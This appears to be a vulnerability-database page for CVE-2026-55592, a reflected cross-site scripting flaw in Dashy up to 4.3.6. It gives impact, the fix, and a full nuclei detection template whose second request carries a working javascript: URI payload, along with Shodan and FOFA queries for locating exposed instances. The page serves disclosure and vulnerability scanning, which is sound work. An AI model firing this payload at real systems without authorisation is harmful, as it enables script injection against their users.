HexBrain

Browse / CVEs / CVE-2026-55592

CVE-2026-55592· lissy93 / dashy· CWE-79

Dashy <= 4.3.6 - Reflected XSS via Workspace

mediumseverity
6.1CVSS score
0.3%likelihood of exploitation, next 30 days
29%of all CVEs are less likely
Readycheck to confirm it

Dashy versions up to 4.3.6 contain a reflected cross-site scripting vulnerability in the workspace view. The url query parameter is passed directly to an iframe src attribute without scheme validation, allowing an attacker to inject javascript: URIs that execute arbitrary JavaScript in the context of the Dashy origin.

Impact

If a logged-in user opens a crafted link, JavaScript executes on the Dashy origin with access to same-origin browser data, the Dashy DOM, and can send requests as the victim.

Fix

Update Dashy to version 4.3.7 or later.

How to confirm it

Send: GET {{BaseURL}}/healthz
Positive when: status_code == 200 and contains(body, "\"version\"") and compare_versions(version, "< 4.3.7")
Send: GET {{BaseURL}}/workspace?url=javascript%3Aalert%28document.domain%29
Positive when: status_code == 200 and contains(body, "javascript:alert(document.domain)")

Run it with nuclei: nuclei -id CVE-2026-55592 -u <target>

The full check
id: CVE-2026-55592

info:
  name: Dashy <= 4.3.6 - Reflected XSS via Workspace
  author: 0x_Akoko
  severity: medium
  description: |
    Dashy versions up to 4.3.6 contain a reflected cross-site scripting vulnerability in the workspace view. The url query parameter is passed directly to an iframe src attribute without scheme validation, allowing an attacker to inject javascript: URIs that execute arbitrary JavaScript in the context of the Dashy origin.
  impact: |
    If a logged-in user opens a crafted link, JavaScript executes on the Dashy origin with access to same-origin browser data, the Dashy DOM, and can send requests as the victim.
  remediation: |
    Update Dashy to version 4.3.7 or later.
  reference:
    - https://github.com/Lissy93/dashy/security/advisories/GHSA-58mp-4qr3-vmrc
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55592
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-55592
    epss-score: 0.00348
    epss-percentile: 0.28703
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: lissy93
    product: dashy
    shodan-query: title:"Dashy"
    fofa-query: title="Dashy"
  tags: cve,cve2026,dashy,xss,reflected

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/healthz"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"version\"")'
          - 'compare_versions(version, "< 4.3.7")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '"version"\s*:\s*"([0-9.]+)"'
        internal: true

      - type: regex
        part: body
        group: 1
        regex:
          - '"version"\s*:\s*"([0-9.]+)"'

  - method: GET
    path:
      - "{{BaseURL}}/workspace?url=javascript%3Aalert%28document.domain%29"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "javascript:alert(document.domain)")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from